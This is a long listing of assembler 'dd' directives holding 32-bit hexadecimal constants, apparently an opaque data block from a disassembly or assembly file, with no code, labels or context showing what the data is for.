dd 42D130ABh, 0E8EA99CFh, 0C90E1A72h, 5ED5F15h, 0B425695Ah
dd 0B4C1A030h, 6849000Eh, 0F3F7BC5h, 0C0EB3340h, 0F40E306Eh
dd 4054B22Fh, 0E822ADCFh, 72590286h, 6AECB980h, 56F0F083h
dd 0F3A081A3h, 7F489020h, 0DE3A5Ch, 0B63413F6h, 0EC56035h
dd 49C85A0Ah, 817A7263h, 18EAB3F8h, 73665000h, 4C709DC9h
dd 52E00058h, 890978A8h, 0A9C72FD2h, 0D420246Fh, 589008h
dd 0C4CE170Ch, 9A787DD5h, 5A7B1E00h, 7AA4C98Ah, 77400472h
dd 8CEA7ED7h, 79005010h, 5D7CF6CDh, 905F0ED4h, 8A020A7Ch
dd 808C35DBh, 8C70D01Dh, 5928A1ACh, 14040CBEh, 2784BA86h
dd 0F574CCh, 0AA81F8BCh, 5A774310h, 6D216100h, 355E12D0h
dd 9473097Bh, 7893F7A0h, 0D59E7688h, 904E6300h, 9D03F5A6h
dd 0DFF400E0h, 5CB0F7E6h, 0D2043AC8h, 0DBEB04C0h, 2AB488h
dd 47996542h, 0D67B8991h, 0C2F6FC00h, 0A7327814h, 52D73525h
dd 83548099h, 0FB00026Ch, 827F9805h, 0ABC806Ah, 871AD1B3h
dd 0E1F907D0h, 402E85F5h, 5E1D39B0h, 9900E85Ah, 49F744A5h
dd 4CD00643h, 0A10075F2h, 0C63B24DDh, 0D248D4E6h, 6A9780E8h
dd 0EE65C789h, 0EF37026Fh, 0A57C6631h, 99937CA1h, 8C913007h
dd 5D34801h, 31BE3595h, 403BDF8h, 7B351C8h, 8C5088DCh
dd 0AFF4DB00h, 694E233Fh, 0C49C0068h, 0E375A080h, 6000CD3Ch
dd 0D1C0C199h, 0C1B7E563h, 16CACB39h, 16AC32DDh, 0AE4D9Ah
dd 9D8D716Eh, 5B72A10Bh, 59A93906h, 20A8C48Ah, 0B000D3E1h
dd 2C140576h, 73FD3C01h, 609D0F1Ah, 8363B51Dh, 590161DCh
dd 0BB44435Bh, 33C87721h, 9A960E0Eh, 403E2CA8h, 0FB323E9h
dd 1374D7B4h, 2EF6F003h, 0B0B1D5B2h, 1569A860h, 903FF93Bh
dd 0C8A90279h, 0D9EBA6E6h, 2900E444h, 6A063F50h, 91CF4Ah
dd 52AD1123h, 0BED4667Bh, 0F440158h, 0D36AD7FEh, 0FFEBD000h
dd 488E8974h, 95C108CAh, 0FF997694h, 0E1BFAEB0h, 56F84900h
dd 0D27C8764h, 0E010488Bh, 4C20709h, 83EAFC80h, 6A00E6FEh
dd 0B64CDB1h, 13871D85h, 203AB2E2h, 0D980AA7Ch, 0A7113260h
dd 50C2AFh, 961BEDFEh, 5D6C64D3h, 393E7DFAh, 0B402003Ah
dd 34A172E0h, 552F76E6h, 0C443803Dh, 8D22F0FAh, 2E23045Dh
dd 0CC179192h, 0B40016A8h, 0C3F9A319h, 1E8DEDFh, 0FAD24377h
dd 803EDB2Eh, 0EBA461E8h, 0C04EDDA9h, 169B9EB8h, 0E754F94Dh
dd 1E1607F0h, 11682ACh, 0E2264600h, 12701F8h, 19ABC95Ch
dd 525AD9E7h, 61C0039Ch, 8E28A364h, 504CE092h, 7996C09Ch
dd 0D7BD94h, 887547DFh, 9326720Ch, 0D977C012h, 0F5FFAC20h
dd 0E1E90089h, 345DAF51h, 291D478Fh, 1043C580h, 0DB737AA3h
dd 0C866A0FAh, 28E1582Dh, 89B9E285h, 33DAF0B0h, 876E9C7h
dd 3B6DD8E0h, 9E4B1B3h, 5890625Ah, 0B77B220Dh, 36DEFCFDh
dd 0D480F491h, 0AFC70980h, 669700DAh, 0A0AB96E3h, 0A700A37Bh
dd 8C7A9F40h, 0F801494h, 9201B76Ch, 0C1071E00h, 10902270h
dd 0EFB13200h, 4C1DD98Dh, 0A42A07A8h, 0C05F94BDh, 0C5B064D7h
dd 160DBE1Dh, 0B4FF8E00h, 0E7ED9Eh, 0FD0B14Ch, 0E11DA273h
dd 0B218E900h, 2A7FB3F8h, 328807E5h, 0A021DF07h, 0D2B8D730h
dd 8F00B4B1h, 8C83C3A7h, 9D7D0724h, 20C632ACh, 0B4CD72B7h
dd 0E297C406h, 33136AEh, 28191A7Fh, 3BE8995Dh, 0D8B8EEFEh
dd 0AF59EF0Ah, 0C09C9438h, 0B7B9AA40h, 249AABDDh, 4100BB3Bh
dd 0F87F6681h, 74B0D3E6h, 2AB7F4E9h, 5C39F824h, 0E3BDC880h
dd 288F19Bh, 71B18EDFh, 0B0608106h, 6158D6CDh, 552240h
dd 7CE0C78Fh, 65CA58C8h, 0DA004E76h, 0C4D3D0Eh, 0B8E9CF2Ch
dd 5F8D0058h, 6F7F08B7h, 5958FEEBh, 5A5D090Dh, 554C68C1h
dd 588314C2h, 0AD0078D9h, 41A3561Ah, 3D48FCDBh, 0F4792E58h
dd 7B005C11h, 95997876h, 3160D96Ch, 26DEA039h, 22001F4h
dd 0C899A1E4h, 0B3F74046h, 48D62A89h, 0F8CC3900h, 0C4AD3h
dd 0B474735Eh, 0C67CE2B0h, 0C0ACED50h, 458B8E02h, 40AC091Bh
dd 9FCA814h, 3CDC2E89h, 324AF411h, 8E6E1F20h, 0A8D1605Bh
dd 0A0D8B4h, 0CC34467Ah, 85DE6396h, 10F3A601h, 0AACDEECAh
dd 8B16E80h, 0DFFF6EB5h, 2F6243Ch, 0BD3B6079h, 0DE84465Ah
dd 0F24A0E71h, 442EDF20h, 0F9F0E6B6h, 0EA7F9E0Ah, 631AE74Eh
dd 2C349881h, 39710096h, 2167B10Ch, 0A7A0C715h, 0DD7C14FEh
dd 0DC4E540Ch, 1743927h, 9A6AF7F9h, 0E749BF19h, 52176097h
dd 0E000767Dh, 59C80F8Fh, 905B03C2h, 0DAD20F0Ch, 0C12A543Ch
dd 786A11C4h, 8D34D500h, 0AABFCE55h, 0AF0D019Ch, 185AD2BEh
dd 0A328C8C1h, 90CD5306h, 3817CDCh, 0F2161BE2h, 9803CC2h
dd 5E0239ADh, 0F7EB32E4h, 5784A3AEh, 0A36CA0DEh, 0C683032Ah
dd 0F24682D8h, 7E1E6A70h
dd 41C01EDFh, 0A5E7FB4h, 0D8EC354Bh, 0E2748099h, 0B02C1EFAh
dd 501150F8h, 662C007Bh, 48467F78h, 0DD008A1Fh, 0C6EEEDCAh
dd 4C89A8D6h, 419FE0DBh, 12DAA1FDh, 2FBCC45Ah, 848419CBh
dd 0C98E128h, 0EAD20088h, 0B92EAE56h, 0F09016C2h, 0D47F8A04h
dd 78C8B83Bh, 0E13A60F8h, 0A9E2E30Ch, 2FA7D202h, 4683ECAAh
dd 0BE07808h, 14523F70h, 0A925B080h, 0F500C1C5h, 0E0796921h
dd 60FB5004h, 0E8B32044h, 5D7C82D4h, 16A8EE01h, 9F746780h
dd 2C145BD0h, 0C586CE7h, 0EE087F27h, 2BC2F0E9h, 73A7E74h
dd 0B760820Bh, 0C4E6F8F9h, 718B7B3Ch, 3E5B90CCh, 0ABAE8AF0h
dd 38456090h, 59009811h, 670964DDh, 382D92D5h, 3D859EADh
dd 80A8E926h, 0E80BFE14h, 252E5D90h, 0CD0EE8ECh, 560909h
dd 44C58D9Eh, 12CB9F8h, 0E1E33359h, 0E0A840E6h, 8EF0EBD5h
dd 8020D948h, 3875E494h, 79BE00B5h, 3A099E13h, 9C077B2Fh
dd 5EED03DDh, 1068D61h, 28863070h, 52D0544Ch, 0F200C4D9h
dd 4FC48CD4h, 0AC125CA6h, 0C8082D30h, 9CA060h, 0E506F5B1h
dd 15E3D74Ah, 5A3F9F06h, 0F8893CBEh, 759E0FDEh, 68895769h
dd 2FEB7C48h, 7C9A8C90h, 220B5B06h, 44805EACh, 0E4EAB952h
dd 2481B07h, 83805C8Ah, 5657263h, 0EBA07466h, 6EC01D4h
dd 0D0866776h, 16F05161h, 5D40C496h, 4D3650h, 9559FB6Bh
dd 0AD25A949h, 0B029CC01h, 5EAE833Ch, 58B2718Ah, 977B8BA8h
dd 0D48CE809h, 0A80CCB49h, 1183DC7Fh, 0E038B91Fh, 0D98AA331h
dd 0F039091h, 0AFB7CF72h, 79D051E7h, 1613A8A9h, 7CA2E9h
dd 8546229Ch, 0E01F17CBh, 38CB4AEAh, 0F6C098ACh, 0F1700052h
dd 1E6F7CDEh, 99019CB4h, 1168C1D3h, 0A893550Dh, 0C724D0B7h
dd 7D7FDDD4h, 0D28B8A00h, 10AAEB57h, 30A90242h, 40DC2F23h
dd 0F05B2449h, 60002A17h, 0E247F809h, 9ABF004h, 587F3AF1h
dd 6269BC91h, 0A9E809ACh, 0C0900195h, 4C72DC8Dh, 0E4345600h
dd 5FC2697Ah, 0A66AFC02h, 705C61AEh, 3B227208h, 0B581B419h
dd 0D8FB0416h, 55618059h, 4323F58Ch, 1EBE00DBh, 7D4EF9E7h
dd 0C8A84BB4h, 0CE0683D6h, 0A0394ADFh, 55BA3E10h, 84687401h
dd 70DA8B80h, 0C24C7370h, 0F0491829h, 7F77C38h, 71668206h
dd 0FED82A6h, 73B4CCE0h, 59B33D01h, 0F562CFB1h, 0D220E02Bh
dd 7B149C00h, 5A485D77h, 0A9CC0572h, 0C0F48FAAh, 0FE83ED90h
dd 0B4E2020Ah, 0B180B839h, 0CFB75B06h, 55080FDDh, 0D3E025B3h
dd 96CA1B71h, 22AE6F00h, 0D278BF81h, 38E89023h, 0F911CB8Ch
dd 0FBE209A3h, 10392087h, 38C0F4h, 557235C5h, 0E8D9A0DEh
dd 4C82A104h, 7CE4B23Bh, 1C665C5Ah, 0A069C9C6h, 0C090B64Ch
dd 0CF196203h, 40D84AFAh, 1BFD438h, 0B1F9565h, 0F88CC00Fh
dd 98C6893Bh, 81E00196h, 17CF124Ah, 3901FBDAh, 0AA95787h
dd 987489B8h, 0EE73097Bh, 94088081h, 0FDB84088h, 0C0A05038h
dd 0AB004D53h, 0CAB7378Fh, 0F0E995E8h, 80DC94F8h, 0A071023Ah
dd 4F1EA233h, 320276E3h, 0E0F3E26Bh, 9C69798h, 53E4AB90h
dd 0DDA57010h, 0B3E8D609h, 0F6580011h, 14A225DFh, 0C409EC19h
dd 4E30A079h, 16290066h, 749BDF0Eh, 0C7001D34h, 0CBC99FF6h
dd 0EEB15F8Bh, 0D2562136h, 0E033C10Fh, 0D54C03DAh, 0F70629B7h
dd 0A4970090h, 3F024287h, 18ADF604h, 0A8C1A251h, 0A88A2A4Bh
dd 0CF0C104h, 9F088716h, 8FEC6D00h, 0C3FA8070h, 71DB0997h
dd 80E8B0E2h, 0D8AB54D7h, 0D17A50E0h, 8085703Bh, 0FD60DA5Dh
dd 122A1580h, 0EF34Ah, 8D822734h, 0E700975Ch, 86AB1FD4h
dd 0AFE51D2h, 0EC98C3Ah, 0F00D00CCh, 2C5405DFh, 4914E926h
dd 0AC07130h, 0C9EFA0C7h, 7B30385h, 29729E5Dh, 356C8294h
dd 4B197F20h, 6CEB0423h, 0A5BA3BD5h, 92BC2878h, 999E0501h
dd 0C2D8A188h, 78A0EE18h, 0CEB7905h, 69D9D18Fh, 7100C751h
dd 0F69D22DAh, 0FA53965h, 0BD6E0CFBh, 0D3408200h, 0EA1D32E6h
dd 9BA7FA1h, 0A6AEABh, 6B22E0BCh, 45801C67h, 7B17C174h
dd 158FAC9h, 8C62F709h, 34829403h, 1E3B97Ah, 206277B1h
dd 0B801D6A1h, 4AEBDDC0h, 603052F5h, 9DA8B1EFh, 2C3700A8h
dd 11FE3B51h, 0A0EA5706h, 3C21B459h, 7F007E35h, 0AE5D628Bh
dd 0D74CB307h, 6E778090h, 266FEB5Eh, 745A8Ch, 9ACDEA56h
dd 0A1004E90h, 0EEF874DFh, 1EC86E3h, 0F403B22Fh, 0F57259A7h
dd 0E8E4FA5Eh, 0FA8C6300h, 0FF293219h, 554C007Bh, 0D3064858h
dd 59055744h, 80AA2EE1h, 2F4E9482h, 0EE1EBF00h, 3B00B831h
dd 77F5A07Ah, 70E5F982h, 75BA077Ch, 86A937B6h, 511380EAh
dd 48D2B384h, 0E452F8h, 7E9F97D6h, 215BD199h, 0FA04E512h
dd 47BFF008h, 9C28F5Eh, 0DCE08B79h, 5A8854B4h, 0BFCB1C0h
dd 14907F84h, 8B007691h, 22B06170h, 2CB369C8h, 0E781C1Eh
dd 862B4E9Eh, 0A51DE400h, 0D7522FE7h, 0B81F4ACCh, 80220300h
dd 30E97210h, 0C594CD9h, 0B4010E3Fh, 95FA70A1h, 44F0B339h
dd 3C820012h, 0E06B0CD4h, 0F609F27Fh, 84A4F7BFh, 0F5C0DE5Ch
dd 24BCE8A2h, 4050D2A8h, 0FF7B7240h, 24D4400h, 0D511E879h
dd 7807006Ch, 0CE93D30Fh, 0CCB1D2AAh, 0F048C600h, 2238946h
dd 85647B27h, 0B051C166h, 0B5DD30Eh, 0E958879Fh, 0A109F84Ah
dd 0E6D090D8h, 0CC0C1FACh, 880740B9h, 0C95C4BA4h, 0BF53F802h
dd 71B45A69h, 0E4862D68h, 0C7001131h, 4A34AA2Dh, 0B3D3DBh
dd 667AA46Ah, 96157F77h, 8C35C0Eh, 512943B7h, 0C00C8A72h
dd 522EA284h, 0E47CB0DFh, 0A56E00C8h, 738207C9h, 7899AF5Ch
dd 1FA0D384h, 0DFC098C0h, 5C9C0576h, 80EA8AFEh, 67D15A7Bh
dd 0B47B1200h, 66022FE0h, 88AD6082h, 0B0F7A573h, 9C8049DFh
dd 1D0317D6h, 8FF400B6h, 228E6576h, 0EA03D993h, 6CCFD5FEh
dd 0E1F601B5h, 51076323h, 27282DB4h, 0B1D40055h, 1D4E6225h
dd 80B22EFAh, 0B91E80E9h, 0AF015EECh, 0EDBF5CD1h, 0E832D351h
dd 0F5E9DF00h, 5F97BAD7h, 8928B776h, 0C3EEBE71h, 16EC1F58h
dd 0CC00EB22h, 81154C73h, 0D7692967h, 62E00E4h, 196E6863h
dd 1350F44Ch, 0D090D2D5h, 0ECB82Ah, 6FB5A71Ah, 9D3AC99Bh
dd 8E164900h, 0ABFC095Fh, 0B93B245Eh, 0E9E04088h, 0E82DDDCDh
dd 8CB890E1h, 921E00D0h, 37F7C1A9h, 724C58BDh, 95CF17BDh
dd 6000C885h, 0C9DDDF02h, 0F52708F7h, 448034D8h, 18A43CE8h
dd 49640C68h, 949C86C8h, 7F666913h, 0D0FD5830h, 0C8B0EDh
dd 0EEB29BC0h, 0A6F74AD1h, 2A70BE0Fh, 2053EBFDh, 598B6AE0h
dd 1EC4ACBBh, 0FBDCB40Fh, 81EF4E00h, 0E7EBBC1Eh, 0EA8C691Dh
dd 0B1CA9B41h, 43EC1EEh, 80D581E8h, 5194271Ch, 0D3EBA01Dh
dd 0A1007010h, 5C6CE28Ah, 6201C2C8h, 46E1F009h, 442DD84Ch
dd 0FB6F5901h, 0D0B3A68Dh, 0A850147Bh, 6C5A6288h, 48DB0009h
dd 0E86E4CCCh, 7C9D004Dh, 0EC1684F2h, 3307FB37h, 4AD544D4h
dd 18492D47h, 0A87E4h, 33C451AAh, 3CA09B2Ah, 9ED65Ch, 0F449388Ah
dd 5C105AD7h, 5C00091Eh, 92AEF781h, 56132580h, 5405AA13h
dd 9460EDB7h, 9EEC684h, 0E7220CE1h, 540FECC4h, 0C0F1116Ah
dd 0E97E3910h, 2FFA391Dh, 0DD88550Ah, 0D1300064h, 0FBB08CC9h
dd 0E0986AF8h, 707E1601h, 3FDBF1DEh, 0A3132980h, 0A1C2D7Fh
dd 0E77AE575h, 20D9A125h, 6532BDCCh, 98834829h, 0A0EFE902h
dd 0E0C8E4F8h, 9503743Fh, 46447053h, 938BF964h, 328F6F6h
dd 7DC259B0h, 2FE855A0h, 0D850E64Bh, 0E04E78E0h, 83B4D440h
dd 1F56DA8h
dd 181D8121h, 4578C12Dh, 6FC0C28Ch, 4EF4BC70h, 3B4A700h
dd 518EE3F9h, 0E899D8h, 684D52DFh, 59710BFEh, 9200A874h
dd 1C6912E2h, 588B50BEh, 0A40B0406h, 0FC19A6F4h, 5835CC6Dh
dd 56EB9600h, 6FD224A9h, 6C7CF925h, 8B7CB301h, 33A073C4h
dd 0F71502D0h, 618602A9h, 40D6B37Ch, 2018154h, 7F03876Ah
dd 8444EAA4h, 8D7B1807h, 6CC68CC4h, 90193928h, 26DE5D80h
dd 7EE17C0Ch, 0DA2F4D14h, 1878B8Ch, 1ED7967Fh, 522EDCF1h
dd 324B24Ch, 0A95EEA53h, 6324F83Fh, 0D8A80F1Eh, 89626CD2h
dd 0EF207CDAh, 1E8F3EB7h, 0CF5A0C54h, 0D60F6E3Dh, 0B5066FEFh
dd 0D35E292Ch, 0F5840840h, 5C846h, 0CFC38119h, 309C2A49h
dd 6B0E0304h, 0C3C0875Eh, 98578358h, 7B11ED50h, 0A85DE866h
dd 0D8BCFD13h, 0E120C890h, 925416BDh, 0E309007Fh, 7A2DED9Bh
dd 8F0908B8h, 5AD1F7BEh, 1F11006Ch, 79E56955h, 580473FAh
dd 30B02391h, 0C760480h, 0EFF417A8h, 0E040370Dh, 5E0BC946h
dd 0E9BD5F01h, 0A2DC4A6Ch, 0E12AB1DCh, 0EF841C2h, 0B9B68B30h
dd 28102580h, 0BAE447B2h, 1B7E5700h, 0C5D810D5h, 0E7F42E92h
dd 4B5C28E0h, 5FA040D9h, 7BFE3F73h, 0D7945300h, 0CFB76A65h
dd 0E010978Dh, 0F302DD79h, 8FB6399Eh, 6851EFh, 141EDA04h
dd 0BF00E0F0h, 0FFBBD305h, 33D949h, 4A1531C9h, 0B1C25C91h
dd 0B383DE0Bh, 0B4646443h, 38D75050h, 0F2ADF100h, 7F362739h
dd 4D1301FFh, 35F50EF9h, 0FADCD17Dh, 99BCD820h, 0E234605Bh
dd 0DE5CCF10h, 6BFEA12h, 0E600C4F2h, 0B582DA59h, 9AE49072h
dd 0E27F2F13h, 0CD7AF502h, 68F929h, 881FF0BAh, 85001AA1h
dd 0F2FC24F5h, 16F16623h, 889FE819h, 0E51FDF6Ch, 6218D2C5h
dd 1C14638h, 12B2FA27h, 200BFDDBh, 58B0EABCh, 4CF25Dh
dd 47DAA69Fh, 735CC8h, 0F4A741A8h, 0D4DCBF50h, 0DDA3E30Ah
dd 0C60B0E9h, 7F4D97h, 0CC6C0F47h, 0A7823EA0h, 7743E701h
dd 0EF2D731Bh, 7CA4202Eh, 1600ED1Ah, 34C212C4h, 13DB06Bh
dd 0EEDFA4D1h, 84E66231h, 0DD19B394h, 11F90C8h, 6FD55732h
dd 605662B2h, 0DE72E050h, 9780D4B9h, 94AFD0EFh, 0FEFA00D4h
dd 63CF363Dh, 0C00E287h, 688A5109h, 3B73F980h, 0B40F7D1Dh
dd 0CE02A7A3h, 9C5AD734h, 0A3C1C00h, 40217F8Fh, 93DC0309h
dd 588169Eh, 0E7E59B88h, 0D85CB498h, 48DD8B9Ch, 7948498h
dd 9BB7D176h, 0EDBBF1C7h, 22A0F37Ch, 93038AFFh, 91986C94h
dd 9DDE8073h, 0B1E3071Eh, 10D9335Eh, 0BF1934A4h, 5CAF2E07h
dd 0D7609B68h, 125FD60Ch, 3F59DF8h, 80320788h, 23C6A0E7h
dd 60067B02h, 0ABEC572Ah, 680B00DAh, 9A3474A9h, 9070D096h
dd 0A41C31C3h, 7F2DB0C6h, 477476h, 37098502h, 0B89CF120h
dd 0DE037474h, 0FE5F4672h, 0FA38CEAAh, 838F00FCh, 67A18E2Ch
dd 4D0C9E4Bh, 90719131h, 6EB6880Bh, 147AD600h, 47F901DAh
dd 50541FDEh, 1756C3C5h, 0A5C02063h, 0DC603C0Ch, 90F1BF58h
dd 180A043h, 8C49C106h, 0E4A46A4Ah, 750357BDh, 0CB208430h
dd 9059E8F1h, 0C1D4E63Dh, 0BA09FF41h, 776EC441h, 6F0006F4h
dd 9B22EFE5h, 5449AF34h, 0C85A465h, 0DDB87682h, 0A83D77F8h
dd 155483E6h, 3D987F55h, 0F70A6E20h, 0F8409D9h, 686FAA8h
dd 1600994Fh, 8D3D8646h, 4432E4h, 0C0689E66h, 0AC67EAAh
dd 0A4947528h, 20B3B900h, 1840D64h, 414E6004h, 137D46D1h
dd 0F93E6500h, 381E92Bh, 0B23D14B6h, 0EFC0A4FFh, 4A2F1150h
dd 0FB9AD307h, 646AAF8Fh, 350FB600h, 0C888E6Ah, 0A5126D50h
dd 54009018h, 1496FFDEh, 1B61D59h, 0CA1B5001h, 70F17B88h
dd 0F73CE3B7h, 0D0700685h, 671098Ch, 6F5A791h, 0AC001133h
dd 4FEDC284h, 5DB286h, 189C6A6Fh, 22699AE8h, 0C9585915h
dd 49DD26C0h, 0CEB61600h, 0E53FE23h, 586EDFC1h, 0F913A961h
dd 5900CB06h, 48893924h, 3DD04478h, 1280C1EEh, 77B22BAEh
dd 6A0CCED8h, 31820CC7h, 0A49019Ch, 6EF5B72Fh, 0B58050DBh
dd 1C0068F2h, 2C1B6567h, 7B2A41Eh, 665D3858h, 231710Ch
dd 0A7E884C9h, 70837A56h, 0D68CB157h, 44DCCD4h, 0CFFF721h
dd 88BF4A36h, 0BB806137h, 0AD5A743h, 76F6CF80h, 9E544014h
dd 11C0EAA3h, 24238337h, 0A27A0067h, 0F1F5162Eh, 1F004697h
dd 53323176h, 7009E1B5h, 2AF00CE9h, 0E769D96Eh, 0B13F4E00h
dd 0A189F6A6h, 3C371E8Bh, 222FC0CCh, 0F2D7074Fh, 0D4E6D029h
dd 0FDD4EC00h, 75B98DB6h, 0C7E0C3E0h, 2118FA8Ch, 1799EBA3h
dd 0C401002Dh, 49A22FB2h, 270098C3h, 0ABA5A1DCh, 9E7EA96h
dd 4BB02187h, 43DF3490h, 7C0C8678h, 0F1C65954h, 8BAC0014h
dd 1D537E3h, 87FA2353h, 9890881Dh, 0D621BFC0h, 0E9C342Dh
dd 0D078DE0Ch, 544095AFh, 7EA71B5Dh, 1CA5B700h, 579D1051h
dd 4359C0CAh, 76F3CE70h, 0C0245000h, 0F1A6F764h, 680C496Eh
dd 0BD271C7Dh, 0A70D40E6h, 0AB8A8B8Fh, 0EE856502h, 4407F9FBh
dd 0E43F072Ch, 10664C45h, 0A93D1417h, 0C78C632Ch, 0BAEA0200h
dd 9099903Bh, 0A3893BFCh, 114CDFA4h, 1A33004Eh, 73AB7547h
dd 66BF0794h, 84FE9C90h, 639C83E7h, 32075EF9h, 944E1C50h
dd 8AF29F41h, 0A050CE6Dh, 17C815h, 149DD1C9h, 279AADF4h
dd 0A8A3E800h, 0C5F062D4h, 0CF50A4Ch, 8AD4AE86h, 8F88D857h
dd 0C07CCFEDh, 8288AD12h, 0D4928A04h, 117CE443h, 183493C7h
dd 7E49B1A3h, 0C87707E0h, 0D15A949Fh, 0E416A62Fh, 0B070A7E6h
dd 0CEA9C06h, 4C31BC25h, 9A0CCCDDh, 7681C357h, 0E8941400h
dd 461AE382h, 0F74C008Dh, 936E4D64h, 4E057A9Ah, 940120F6h
dd 81606887h, 0E6807F0Ch, 914B189h, 28104AAEh, 5A3622FFh
dd 3061CCh, 13CB77DDh, 56A833D3h, 43536100h, 7A720FE2h
dd 0B7A4305Eh, 0F5793949h, 59E9D81Ch, 6F014340h, 5AB27Ch
dd 588280A8h, 97C710B1h, 0E04C5600h, 0CFE8E39h, 95C913Dh
dd 242E136Eh, 4CFCC2C0h, 0E4B0F1BAh, 940F1B02h, 0A0303147h
dd 0A03FF5A4h, 5EBD5CA4h, 8726C01h, 0FCE390F4h, 0DF00C624h
dd 2D6DE49Ch, 2C287443h, 4A602F0Ch, 0F1420E78h, 510B1897h
dd 0C9C0B5A4h, 9B71CB6h, 662D0461h, 0BC82580Ah, 0B8B7401Dh
dd 489C0200h, 0CB50B05h, 3980FFCFh, 0ABDEF887h, 64989698h
dd 0C627A0Ah, 0AE41E080h, 34E44E28h, 0A84C99D5h, 84D954C4h
dd 609B89D6h, 8600D1E8h, 0F122BA64h, 9966D9B7h, 0EB6B8044h
dd 0BC31DFE3h, 0F53C5C00h, 599245DAh, 583B055Eh, 80333A60h
dd 0E2F29390h, 42894CBh, 0AF835090h, 648CC491h, 36AB00BAh
dd 0BBD32EC0h, 9774F589h, 80185A58h, 5173E190h, 0C8EBF36Fh
dd 0C6A05Eh, 0AAA1344Eh, 22FA8F3Dh, 0A96B0100h, 7F0A6293h
dd 19CF0FBh, 0AEBFE2EFh, 52ED880Ch, 0F8905884h, 0DB00E54Dh
dd 723C35BBh, 0A82D89h, 366C1AADh, 65E08E2h, 75FC0445h
dd 7DEF5C35h, 55195705h, 0A9A4323Dh, 2D00F066h, 0EDA84CF0h
dd 344FB4h, 7E638613h, 397F3ACCh, 0B584F800h, 8397A51Bh
dd 0CB02340Ch, 82B4C049h, 100EE6Fh, 3DF3A7E1h, 71F22BCh
dd 9F392858h, 43911D07h, 0C1B4B066h, 0CAC1209Ch, 736ACC61h
dd 9472045Ch, 0B488A35Eh, 9D1200DCh, 0B9434FC4h, 0C8A01644h
dd 6E607ABh, 0AF591163h, 0F035F8C1h, 0CC5405E1h, 1F5C1B7Ah
dd 83BE0ABAh, 0CF85B974h, 0C0A0791Ch, 384ACD5Ch, 9F6B9538h
dd 888675CCh, 7E834Dh, 3CA97456h, 7A575099h, 6D9DDD00h
dd 0C38BE0Dh, 8CCD483Eh
dd 89FFEA86h, 0D64A2609h, 955002C9h, 0E0260B6h, 482098FBh
dd 720A7089h, 4318E7D0h, 8197CDDh, 86388A6Fh, 60A98441h
dd 6473930h, 571A638Dh, 8A031872h, 41911504h, 84D6F95Fh
dd 8D057023h, 1F60489Dh, 3F6500E3h, 511AB99Ah, 736CD000h
dd 54D7DE24h, 0B0BC0977h, 0AC047428h, 646F46C7h, 0D4110049h
dd 0C8D21D93h, 0B406D0ABh, 17542949h, 5BE001A8h, 0A32C879Ah
dd 130C60BBh, 1FD4A541h, 7E453D77h, 72C0E580h, 89FB1761h
dd 3A68200h, 0F123948Dh, 0DDAB0590h, 80959F56h, 5952B4ECh
dd 0B89D160h, 0E5AB9927h, 8BBD2060h, 1B303000h, 1C14549Bh
dd 906D0CA7h, 0A1502041h, 0AF4909C2h, 0C488157h, 418DB691h
dd 216153AEh, 0F872D8h, 40AB7C41h, 1E4862ADh, 0FAF1B003h
dd 0B0F67594h, 16558B00h, 234EC14Ah, 88993BF2h, 25785705h
dd 1E53E498h, 0BC2836h, 372ABA04h, 47123879h, 940A8186h
dd 6C10F077h, 0DEE46E05h, 1F881DF0h, 63F4C542h, 730C22Ch
dd 0D900D8C4h, 4C998287h, 1C57A14Dh, 8C75C568h, 0A5F003DDh
dd 126E2211h, 26D0A201h, 0C07C27B8h, 13008A3Fh, 971FE495h
dd 0FF20DDh, 0DF780142h, 98BF9976h, 57229A00h, 44494F06h
dd 0EADC0556h, 9563F7h, 0FB88A0A8h, 26792D0h, 0A0BF5491h
dd 0CBCF714Ah, 0D0AA5296h, 0ACCDBA01h, 0D8665490h, 87093286h
dd 377DBDFh, 16F19920h, 8292158h, 0F3A403F4h, 0B0A50F3Fh
dd 1BFEE032h, 85C8A9h, 908F92DAh, 6FD2743h, 0CA310C60h
dd 377AFDFh, 0BDBEA421h, 8F8F0D3Eh, 44E53DDh, 47CB3570h
dd 39FCE1D0h, 0C570171Bh, 9CA6105Dh, 0D059500Ch, 0C20C3929h
dd 7E2FB5A6h, 0E4700016h, 13EFB264h, 0F10F4927h, 0D8350CB0h
dd 6007F731h, 4F8B5908h, 0E0009E95h, 2C3550Dh, 1819A746h
dd 31C259C1h, 0EA073C5Eh, 72A59189h, 56E27330h, 3F1900C1h
dd 0C9E7D6D7h, 0FE008BA6h, 7027E5FFh, 0B959F6F5h, 3F6F0028h
dd 0DE345ABDh, 60643C05h, 0FC08293h, 9D1F3Bh, 751C069Bh
dd 0AADE0C78h, 0B900FF7Ah, 0BAEDCECBh, 925E4AB0h, 80ECB17Ch
dd 0BEF019EAh, 5B00588Eh, 0E35D0169h, 0A61B96h, 437390F2h
dd 0F724E4F4h, 0F88DD019h, 0E872A439h, 0F9A85E00h, 47AB1CA9h
dd 7DED200h, 0A601D842h, 255300Bh, 90FDBF29h, 34595126h
dd 0FCA21040h, 75F67Ch, 0C10DA743h, 0D1AF2148h, 7C589B28h
dd 0C6D33B00h, 0FF953C91h, 16480088h, 0BEEA9F3Fh, 9178020h
dd 0A420A3BBh, 70398Bh, 7D74C697h, 1FB647A7h, 2BEC25h
dd 0C3256E30h, 6F801394h, 31744067h, 6A43493Eh, 0D5F27217h
dd 83BBF008h, 0C1E3803Fh, 60BC20C8h, 6B91113h, 197348D0h
dd 82410075h, 7ABAB35Eh, 1B4CF599h, 260F0433h, 0CCC3D70h
dd 972C0074h, 0E687829Eh, 0A009501h, 0ADE54C62h, 2C515453h
dd 402859BBh, 0DE60492Ah, 6FF1B07h, 224088DCh, 2052C20h
dd 0A6E24023h, 0CC85967Dh, 0C4CA34h, 0F294699Ah, 1263277h
dd 1DE0AD6Eh, 207262F4h, 32E17A10h, 23A780ACh, 3290F73Ah
dd 2582145h, 40F25322h, 2ADF7098h, 9CD86Fh, 6E5D2DC0h
dd 78D6BE2Eh, 49EF6D0Fh, 9FF16370h, 0FD44C0DFh, 8D0D28FFh
dd 0F9450434h, 0CC0508F0h, 0CF2E9F58h, 8E005F1Ah, 4C0F135Fh
dd 0F7B70CD3h, 3B39B3AAh, 0B50BB00h, 0C6C80445h, 55CD0369h
dd 25CAF61h, 1421914Fh, 0B270FB45h, 0DFE10031h, 0B1BC48CFh
dd 0A90FA6AFh, 732286F5h, 7D70B802h, 2FB0C187h, 6EBF6989h
dd 9F123CE8h, 5CEBA07h, 0B9C102D4h, 63C87DC5h, 907F0A0Bh
dd 0C3A0870Ch, 6EF90418h, 84418066h, 931AAA55h, 0D67357h
